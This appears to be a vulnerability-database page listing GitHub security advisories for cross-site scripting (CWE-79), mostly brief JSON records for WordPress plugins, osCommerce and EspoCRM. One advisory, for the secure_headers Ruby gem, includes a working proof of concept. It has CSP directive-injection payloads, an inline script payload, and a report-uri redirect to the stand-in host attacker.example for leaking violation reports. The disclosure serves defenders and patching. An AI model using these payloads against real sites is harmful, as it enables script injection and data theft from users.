CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67076 vulnerabilities reference this CWE, most recent first.
GHSA-RQPJ-C9XC-64P3
Vulnerability from github – Published: 2023-10-01 00:30 – Updated: 2024-04-04 07:59Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. This vulnerability allows attackers to inject JS through the "orders_status_name[1]" parameter, potentially leading to unauthorized execution of scripts within a user's web browser.
{
"affected": [],
"aliases": [
"CVE-2023-43723"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-30T22:15:10Z",
"severity": "MODERATE"
},
"details": "Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability.\nThis vulnerability allows attackers to inject JS through the \"orders_status_name[1]\" parameter,\npotentially leading to unauthorized execution of scripts within a user\u0027s web browser.",
"id": "GHSA-rqpj-c9xc-64p3",
"modified": "2024-04-04T07:59:17Z",
"published": "2023-10-01T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43723"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/bts"
},
{
"type": "WEB",
"url": "https://www.oscommerce.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQQ5-2GF9-4W4Q
Vulnerability from github – Published: 2026-07-10 20:37 – Updated: 2026-07-10 20:37Summary
secure_headers builds the Content-Security-Policy value by stitching every configured directive together with ; separators. Three directive builders (build_sandbox_list_directive, build_media_type_list_directive, build_report_to_directive) interpolate caller-supplied strings into that value without scrubbing ;, \r, or \n.
When an application forwards untrusted input into SecureHeaders.override_content_security_policy_directives (or append_…) for :sandbox, :plugin_types, or :report_to, an attacker can embed a literal ; and inject an arbitrary CSP directive into the header value. Because :sandbox and :plugin_types both sort alphabetically before :script_src in BODY_DIRECTIVES, the injected script-src lands earlier in the header and wins under the CSP first-occurrence rule, defeating the application's real script-src. End result: an 'unsafe-inline' * policy is forced for inline <script> despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.
An existing ;/\n scrub is already present in the source-list builder (build_source_list_directive), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.
Impact
Although piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective * 'unsafe-inline' script-src, even though the global config says script_src: %w('self'). The same primitive can also be used to point report-to / report-uri at attacker infrastructure to silently siphon CSP violation reports — which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.
The global default CSP set in Configuration.default is supposed to be a backstop: even if a controller appends a single risky value, the strict script-src should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate script-src.
Affected
- Package:
secure_headers(RubyGems) - Vulnerable versions:
<= 7.2.0 - Patched version:
7.3.0
Applications that set :sandbox, :plugin_types, or :report_to only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.
Mitigations / Workarounds
Until upgrading to 7.3.0, sanitize any user-controlled input before passing it to:
SecureHeaders.override_content_security_policy_directivesSecureHeaders.append_content_security_policy_directivesSecureHeaders.use_content_security_policy_named_append
for :sandbox, :plugin_types, or :report_to. Reject or strip ;, \r, and \n from values destined for these directives before they reach the gem.
Vulnerable code
Three sibling builders all join an attacker-controllable value into the CSP header value with no ; / \r / \n scrubbing.
content_security_policy.rb#L72-L93—build_sandbox_list_directive:
elsif sandbox_list && sandbox_list.any?
[
symbol_to_hyphen_case(directive),
sandbox_list.uniq
].join(" ")
end
content_security_policy.rb#L95-L103—build_media_type_list_directive(same pattern, forplugin-types).content_security_policy.rb#L105-L110—build_report_to_directive:
def build_report_to_directive(directive)
return unless endpoint_name = @config.directive_value(directive)
if endpoint_name && endpoint_name.is_a?(String) && !endpoint_name.empty?
[symbol_to_hyphen_case(directive), endpoint_name].join(" ")
end
end
For comparison, content_security_policy.rb#L117-L129 shows the source-list builder that already performs the scrub the three above are missing.
Validation also does not catch it:
policy_management.rb#L361-L371—validate_sandbox_expression!only checksv.start_with?("allow-"), so"allow-scripts allow-same-origin; script-src 'unsafe-inline' *"passes.policy_management.rb#L376-L385—validate_media_type_expression!uses/\A.+\/.+\z/;.matches;and', so"application/x-foo; script-src 'unsafe-inline' *"passes.policy_management.rb#L410-L417—validate_report_to_endpoint_expression!only checksString+ non-empty.
Reachable
The three sinks are reached by the documented public override APIs in lib/secure_headers.rb#L61-L106 — override_content_security_policy_directives, append_content_security_policy_directives, and use_content_security_policy_named_append. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).
Concrete reachable shapes:
- Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via
override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens]). - Document / PDF viewer that allows tenants to whitelist a custom MIME via
plugin_types: [tenant.allowed_mime]. - Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via
report_to: params[:report_group].
In all three patterns, a string field that the app expects to be a single token (allow-forms, application/pdf, default) is the injection point.
Proof of concept
Pinned reproduction against a minimal Rack app on secure_headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.
Install (Bundler):
# Gemfile
source "https://rubygems.org"
gem "secure_headers", "= 7.2.0"
gem "rack", "= 3.2.6"
gem "rackup", "= 2.3.1"
gem "webrick", "= 1.9.2"
bundle install
Driver (poc_e2e.rb):
require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"
SecureHeaders::Configuration.default do |c|
c.csp = {default_src: %w('self'), script_src: %w('self'), style_src: %w('self')}
end
INLINE_XSS = "<script>document.body.appendChild(Object.assign(" \
"document.createElement('div'),{id:'pwn',innerText:" \
"'XSS-EXECUTED via '+location.pathname}));</script>"
class App
def call(env)
req = Rack::Request.new(env)
case req.path_info
when "/sandbox" # Vector A
SecureHeaders.override_content_security_policy_directives(req,
sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
when "/plugin" # Vector B
SecureHeaders.override_content_security_policy_directives(req,
plugin_types: ["application/x-foo; script-src 'unsafe-inline' *"])
when "/report" # Vector C (report-uri exfil)
SecureHeaders.override_content_security_policy_directives(req,
report_to: "default; report-uri https://attacker.example/leak")
when "/control" # Negative — same payload on a source_list directive
SecureHeaders.override_content_security_policy_directives(req,
frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
end
body = "<!doctype html>#{INLINE_XSS}"
[200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [body]]
end
end
Rackup::Handler::WEBrick.run(
Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))
Run:
bundle exec ruby poc_e2e.rb
End-to-end reproduction against secure_headers 7.2.0
Server-side observation (curl -s -D - http://127.0.0.1:14567/<path>):
GET /sandbox -> content-security-policy:
default-src 'self'; sandbox allow-scripts allow-same-origin;
script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /plugin -> content-security-policy:
default-src 'self'; plugin-types application/x-foo;
script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /report -> content-security-policy:
default-src 'self'; script-src 'self'; style-src 'self';
report-to default; report-uri https://attacker.example/leak
GET /control -> content-security-policy:
default-src 'self'; frame-src 'self' evil.example script-src
'unsafe-inline' *; script-src 'self'; style-src 'self'
Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline <script> actually ran):
GET /sandbox -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /plugin -> pwn element PRESENT (XSS executed, injected script-src wins)
GET /report -> pwn element absent (this vector enables report-uri exfil,
not script execution by itself)
GET /control -> pwn element absent (existing scrub on the source-list
builder rewrites ; -> space, so the
legitimate `script-src 'self'` is
still the first match)
Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.
Patch
Shipped in 7.3.0 as a private helper that scrubs ;, \r, and \n from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.
Sketch of the shipped change in lib/secure_headers/headers/content_security_policy.rb:
DIRECTIVE_INJECTION_REGEX = /[\n\r;]/.freeze
def scrub_directive_value(directive, value)
str = value.to_s
if str =~ DIRECTIVE_INJECTION_REGEX
Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
str.gsub(DIRECTIVE_INJECTION_REGEX, " ")
else
str
end
end
The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.
See the merged fix PR for the full patch and tests.
Credit
Reported by @tonghuaroot.
Resources
- CVE-2020-5217 — prior
secure_headersadvisory for the same bug class onbuild_source_list_directive(the 2020 fix that motivated the helper this advisory extends). - W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
- RFC 7230 §3.2.4 — Field parsing — context for why bare
\r/\nin HTTP header values are unsafe regardless of directive separator semantics.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "secure_headers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54163"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T20:37:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`secure_headers` builds the `Content-Security-Policy` value by stitching every configured directive together with `; ` separators. Three directive builders (`build_sandbox_list_directive`, `build_media_type_list_directive`, `build_report_to_directive`) interpolate caller-supplied strings into that value without scrubbing `;`, `\\r`, or `\\n`.\n\nWhen an application forwards untrusted input into `SecureHeaders.override_content_security_policy_directives` (or `append_\u2026`) for `:sandbox`, `:plugin_types`, or `:report_to`, an attacker can embed a literal `;` and inject an arbitrary CSP directive into the header value. Because `:sandbox` and `:plugin_types` both sort alphabetically before `:script_src` in `BODY_DIRECTIVES`, the injected `script-src` lands earlier in the header and wins under the [CSP first-occurrence rule](https://www.w3.org/TR/CSP3/#parse-serialized-policy), defeating the application\u0027s real `script-src`. End result: an `\u0027unsafe-inline\u0027 *` policy is forced for inline `\u003cscript\u003e` despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.\n\nAn existing `;`/`\\n` scrub is already present in the source-list builder (`build_source_list_directive`), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.\n\n## Impact\n\nAlthough piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective `*` `\u0027unsafe-inline\u0027` `script-src`, even though the global config says `script_src: %w(\u0027self\u0027)`. The same primitive can also be used to point `report-to` / `report-uri` at attacker infrastructure to silently siphon CSP violation reports \u2014 which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.\n\nThe global default CSP set in `Configuration.default` is supposed to be a backstop: even if a controller appends a single risky value, the strict `script-src` should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate `script-src`.\n\n## Affected\n\n- **Package:** `secure_headers` (RubyGems)\n- **Vulnerable versions:** `\u003c= 7.2.0`\n- **Patched version:** `7.3.0`\n\nApplications that set `:sandbox`, `:plugin_types`, or `:report_to` only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.\n\n## Mitigations / Workarounds\n\nUntil upgrading to **7.3.0**, sanitize any user-controlled input before passing it to:\n\n- `SecureHeaders.override_content_security_policy_directives`\n- `SecureHeaders.append_content_security_policy_directives`\n- `SecureHeaders.use_content_security_policy_named_append`\n\nfor `:sandbox`, `:plugin_types`, or `:report_to`. Reject or strip `;`, `\\r`, and `\\n` from values destined for these directives before they reach the gem.\n\n## Vulnerable code\n\nThree sibling builders all join an attacker-controllable value into the CSP header value with no `;` / `\\r` / `\\n` scrubbing.\n\n- [`content_security_policy.rb#L72-L93`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L72-L93) \u2014 `build_sandbox_list_directive`:\n\n```ruby\nelsif sandbox_list \u0026\u0026 sandbox_list.any?\n [\n symbol_to_hyphen_case(directive),\n sandbox_list.uniq\n ].join(\" \")\nend\n```\n\n- [`content_security_policy.rb#L95-L103`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L95-L103) \u2014 `build_media_type_list_directive` (same pattern, for `plugin-types`).\n- [`content_security_policy.rb#L105-L110`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L105-L110) \u2014 `build_report_to_directive`:\n\n```ruby\ndef build_report_to_directive(directive)\n return unless endpoint_name = @config.directive_value(directive)\n if endpoint_name \u0026\u0026 endpoint_name.is_a?(String) \u0026\u0026 !endpoint_name.empty?\n [symbol_to_hyphen_case(directive), endpoint_name].join(\" \")\n end\nend\n```\n\nFor comparison, [`content_security_policy.rb#L117-L129`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/content_security_policy.rb#L117-L129) shows the source-list builder that already performs the scrub the three above are missing.\n\nValidation also does not catch it:\n\n- [`policy_management.rb#L361-L371`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L361-L371) \u2014 `validate_sandbox_expression!` only checks `v.start_with?(\"allow-\")`, so `\"allow-scripts allow-same-origin; script-src \u0027unsafe-inline\u0027 *\"` passes.\n- [`policy_management.rb#L376-L385`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L376-L385) \u2014 `validate_media_type_expression!` uses `/\\A.+\\/.+\\z/`; `.` matches `;` and `\u0027`, so `\"application/x-foo; script-src \u0027unsafe-inline\u0027 *\"` passes.\n- [`policy_management.rb#L410-L417`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers/headers/policy_management.rb#L410-L417) \u2014 `validate_report_to_endpoint_expression!` only checks `String` + non-empty.\n\n## Reachable\n\nThe three sinks are reached by the documented public override APIs in [`lib/secure_headers.rb#L61-L106`](https://github.com/github/secure_headers/blob/f224144c99002bcd3c06ed86c169429d4be1e5dc/lib/secure_headers.rb#L61-L106) \u2014 `override_content_security_policy_directives`, `append_content_security_policy_directives`, and `use_content_security_policy_named_append`. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).\n\nConcrete reachable shapes:\n\n1. Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via `override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens])`.\n2. Document / PDF viewer that allows tenants to whitelist a custom MIME via `plugin_types: [tenant.allowed_mime]`.\n3. Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via `report_to: params[:report_group]`.\n\nIn all three patterns, a string field that the app expects to be a single token (`allow-forms`, `application/pdf`, `default`) is the injection point.\n\n## Proof of concept\n\nPinned reproduction against a minimal Rack app on `secure_headers 7.2.0`, `rack 3.2.6`, `rackup 2.3.1`, `webrick 1.9.2`. Browser verification uses headless Chromium.\n\nInstall (Bundler):\n\n```ruby\n# Gemfile\nsource \"https://rubygems.org\"\ngem \"secure_headers\", \"= 7.2.0\"\ngem \"rack\", \"= 3.2.6\"\ngem \"rackup\", \"= 2.3.1\"\ngem \"webrick\", \"= 1.9.2\"\n```\n\n```bash\nbundle install\n```\n\nDriver (`poc_e2e.rb`):\n\n```ruby\nrequire \"rack\"\nrequire \"webrick\"\nrequire \"rackup\"\nrequire \"rackup/handler/webrick\"\nrequire \"secure_headers\"\n\nSecureHeaders::Configuration.default do |c|\n c.csp = {default_src: %w(\u0027self\u0027), script_src: %w(\u0027self\u0027), style_src: %w(\u0027self\u0027)}\nend\n\nINLINE_XSS = \"\u003cscript\u003edocument.body.appendChild(Object.assign(\" \\\n \"document.createElement(\u0027div\u0027),{id:\u0027pwn\u0027,innerText:\" \\\n \"\u0027XSS-EXECUTED via \u0027+location.pathname}));\u003c/script\u003e\"\n\nclass App\n def call(env)\n req = Rack::Request.new(env)\n case req.path_info\n when \"/sandbox\" # Vector A\n SecureHeaders.override_content_security_policy_directives(req,\n sandbox: [\"allow-scripts allow-same-origin; script-src \u0027unsafe-inline\u0027 *\"])\n when \"/plugin\" # Vector B\n SecureHeaders.override_content_security_policy_directives(req,\n plugin_types: [\"application/x-foo; script-src \u0027unsafe-inline\u0027 *\"])\n when \"/report\" # Vector C (report-uri exfil)\n SecureHeaders.override_content_security_policy_directives(req,\n report_to: \"default; report-uri https://attacker.example/leak\")\n when \"/control\" # Negative \u2014 same payload on a source_list directive\n SecureHeaders.override_content_security_policy_directives(req,\n frame_src: [\"\u0027self\u0027\", \"evil.example; script-src \u0027unsafe-inline\u0027 *\"])\n end\n body = \"\u003c!doctype html\u003e#{INLINE_XSS}\"\n [200, {\"content-type\"=\u003e\"text/html\"}.merge(SecureHeaders.header_hash_for(req)), [body]]\n end\nend\n\nRackup::Handler::WEBrick.run(\n Rack::Builder.new { use SecureHeaders::Middleware; run App.new },\n Host: \"127.0.0.1\", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))\n```\n\nRun:\n\n```bash\nbundle exec ruby poc_e2e.rb\n```\n\n### End-to-end reproduction against `secure_headers 7.2.0`\n\nServer-side observation (`curl -s -D - http://127.0.0.1:14567/\u003cpath\u003e`):\n\n```\nGET /sandbox -\u003e content-security-policy:\n default-src \u0027self\u0027; sandbox allow-scripts allow-same-origin;\n script-src \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n\nGET /plugin -\u003e content-security-policy:\n default-src \u0027self\u0027; plugin-types application/x-foo;\n script-src \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n\nGET /report -\u003e content-security-policy:\n default-src \u0027self\u0027; script-src \u0027self\u0027; style-src \u0027self\u0027;\n report-to default; report-uri https://attacker.example/leak\n\nGET /control -\u003e content-security-policy:\n default-src \u0027self\u0027; frame-src \u0027self\u0027 evil.example script-src\n \u0027unsafe-inline\u0027 *; script-src \u0027self\u0027; style-src \u0027self\u0027\n```\n\nBrowser verification (headless Chromium, `--dump-dom`, grep for the injected `id=\"pwn\"` element which is only present if the inline `\u003cscript\u003e` actually ran):\n\n```\nGET /sandbox -\u003e pwn element PRESENT (XSS executed, injected script-src wins)\nGET /plugin -\u003e pwn element PRESENT (XSS executed, injected script-src wins)\nGET /report -\u003e pwn element absent (this vector enables report-uri exfil,\n not script execution by itself)\nGET /control -\u003e pwn element absent (existing scrub on the source-list\n builder rewrites ; -\u003e space, so the\n legitimate `script-src \u0027self\u0027` is\n still the first match)\n```\n\nPatched-build verification: applying the patch and re-running the same three vectors flips `/sandbox` and `/plugin` to \"pwn element absent\". The injected `;` is replaced with a space, so the trailing `script-src \u0027unsafe-inline\u0027 *` collapses into the parent directive\u0027s value list instead of becoming a sibling directive, and the legitimate `script-src \u0027self\u0027` stays the first `script-src` the parser encounters.\n\n## Patch\n\nShipped in **7.3.0** as a private helper that scrubs `;`, `\\r`, and `\\n` from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.\n\nSketch of the shipped change in `lib/secure_headers/headers/content_security_policy.rb`:\n\n```ruby\nDIRECTIVE_INJECTION_REGEX = /[\\n\\r;]/.freeze\n\ndef scrub_directive_value(directive, value)\n str = value.to_s\n if str =~ DIRECTIVE_INJECTION_REGEX\n Kernel.warn(\"#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.\")\n str.gsub(DIRECTIVE_INJECTION_REGEX, \" \")\n else\n str\n end\nend\n```\n\nThe helper is invoked from each builder against the **joined** directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.\n\nSee the merged fix PR for the full patch and tests.\n\n## Credit\n\nReported by [@tonghuaroot](https://github.com/tonghuaroot).\n\n## Resources\n\n- CVE-2020-5217 \u2014 prior `secure_headers` advisory for the same bug class on `build_source_list_directive` (the 2020 fix that motivated the helper this advisory extends).\n- [W3C CSP Level 3 \u2014 Parse a serialized CSP](https://www.w3.org/TR/CSP3/#parse-serialized-policy) \u2014 defines the first-occurrence rule that makes the alphabetical-ordering exploit work.\n- [RFC 7230 \u00a73.2.4 \u2014 Field parsing](https://www.rfc-editor.org/rfc/rfc7230#section-3.2.4) \u2014 context for why bare `\\r` / `\\n` in HTTP header values are unsafe regardless of directive separator semantics.",
"id": "GHSA-rqq5-2gf9-4w4q",
"modified": "2026-07-10T20:37:15Z",
"published": "2026-07-10T20:37:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/github/secure_headers/security/advisories/GHSA-rqq5-2gf9-4w4q"
},
{
"type": "PACKAGE",
"url": "https://github.com/github/secure_headers"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2026-54163.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54163"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when given untrusted input"
}
GHSA-RQQC-5WMJ-43VX
Vulnerability from github – Published: 2025-04-17 18:31 – Updated: 2026-04-01 18:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 TableOn – WordPress Posts Table Filterable allows Stored XSS. This issue affects TableOn – WordPress Posts Table Filterable: from n/a through 1.0.3.
{
"affected": [],
"aliases": [
"CVE-2025-32592"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T16:15:45Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in RealMag777 TableOn \u2013 WordPress Posts Table Filterable allows Stored XSS. This issue affects TableOn \u2013 WordPress Posts Table Filterable: from n/a through 1.0.3.",
"id": "GHSA-rqqc-5wmj-43vx",
"modified": "2026-04-01T18:34:49Z",
"published": "2025-04-17T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32592"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/posts-table-filterable/vulnerability/wordpress-tableon-plugin-1-0-3-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RQQC-8PRQ-58VG
Vulnerability from github – Published: 2022-05-17 00:34 – Updated: 2025-04-20 03:45The Intense WP "WP Jobs" plugin 1.5 for WordPress has XSS, related to the Job Qualification field.
{
"affected": [],
"aliases": [
"CVE-2017-14751"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-26T22:29:00Z",
"severity": "MODERATE"
},
"details": "The Intense WP \"WP Jobs\" plugin 1.5 for WordPress has XSS, related to the Job Qualification field.",
"id": "GHSA-rqqc-8prq-58vg",
"modified": "2025-04-20T03:45:54Z",
"published": "2022-05-17T00:34:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14751"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-jobs/#developers"
},
{
"type": "WEB",
"url": "http://bbs.microdesktop.com/2017/09/25/wordpress-4-8-wp-jobs-1-5-job-qualification-edit-box-xss"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQQR-2W36-FRJ3
Vulnerability from github – Published: 2025-02-21 06:31 – Updated: 2025-02-21 06:31The TCBD Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcbdtooltip_text' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-13388"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-21T04:15:09Z",
"severity": "MODERATE"
},
"details": "The TCBD Tooltip plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027tcbdtooltip_text\u0027 shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-rqqr-2w36-frj3",
"modified": "2025-02-21T06:31:09Z",
"published": "2025-02-21T06:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13388"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/tcbd-tooltip"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43ca15b7-8cb4-427f-892d-15022da17b2e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQQW-5Q6G-CJXV
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2024-02-06 00:30The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wprm-recipe-text-share' shortcode in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-0255"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T22:15:59Z",
"severity": "MODERATE"
},
"details": "The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027wprm-recipe-text-share\u0027 shortcode in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-rqqw-5q6g-cjxv",
"modified": "2024-02-06T00:30:26Z",
"published": "2024-02-06T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0255"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/class-wprm-icon.php#L52"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3019769/wp-recipe-maker/trunk/includes/public/class-wprm-icon.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53a51408-e5d8-4727-9dec-8321c062c31e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQQX-CP49-VG65
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:23EspoCRM 5.6.4 is vulnerable to stored XSS due to lack of filtration of user-supplied data in the Knowledge base. A malicious attacker can inject JavaScript code in the body parameter during api/v1/KnowledgeBaseArticle knowledge-base record creation.
{
"affected": [],
"aliases": [
"CVE-2019-14350"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-28T16:15:00Z",
"severity": "MODERATE"
},
"details": "EspoCRM 5.6.4 is vulnerable to stored XSS due to lack of filtration of user-supplied data in the Knowledge base. A malicious attacker can inject JavaScript code in the body parameter during api/v1/KnowledgeBaseArticle knowledge-base record creation.",
"id": "GHSA-rqqx-cp49-vg65",
"modified": "2024-04-04T01:23:57Z",
